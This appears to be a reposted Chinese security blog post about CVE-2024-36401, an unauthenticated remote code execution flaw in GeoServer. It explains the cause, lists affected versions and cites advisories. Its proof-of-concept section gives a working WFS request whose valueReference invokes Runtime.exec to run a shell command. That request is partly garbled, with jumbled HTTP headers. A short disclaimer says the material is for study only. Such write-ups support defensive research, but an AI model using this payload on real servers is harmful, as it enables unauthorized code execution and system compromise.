CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)

admin 2024年9月25日18:38:38CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)已关闭评论31 views字数 1185阅读3分57秒阅读模式

0x00 前言

GeoServer是基于Java 的软件服务器,允许用户查看和编辑地理空间数据。使用开放地理空间联盟(OGC)提出的开放标准,GeoServer在地图创建和数据共享方面具有极大的灵活性。

GeoServer允许您向世界显示您的空间信息。实施Web地图服务(WMS)标准,GeoServer可以创建各种输出格式的地图。一个免费的地图库 OpenLayers 已集成到GeoServer中,从而使地图生成快速简便。GeoServer基于GeoTools(一种开放源 Java GIS 工具包)构建。

兼容WMS和WFS特性,支持PostgreSQL、Shapefile、ArcSDE、Oracle、VPF、MySQL、MapInfo,支持上百种投影,能够将网络地图输出为jpeg、gif、png、SVG、KML等格式,能够运行在任何基于J2EE/Servlet容器之上,嵌入MapBuilder支持AJAX的地图客户端OpenLayers,除此之外还包括许多其他的特性。

0x01 漏洞描述

GeoTools 库的 API 在处理要素类型的属性名称时,会将这些属性名称不安全地传递给 commons-jxpath 库进行解析,由于 commons-jxpath 库在解析 XPath 表达式时可以执行任意代码,从而导致未经身份验证的用户能够利用特定的 OGC 请求参数远程执行代码。

0x02 CVE编号

CVE-2024-36401

0x03 影响版本

2.25.0 <= GeoServer < 2.25.2

2.24.0 <= GeoServer < 2.24.4

GeoServer < 2.23.6

0x04 漏洞详情

POC:

 geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
 yourip:8080
AcceptEncoding: gzip, deflate, br
 
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: *

0x05 参考链接

https://github.com/geotools/geotools/pull/4797

https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月25日18:38:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)https://cn-sec.com/archives/3208093.html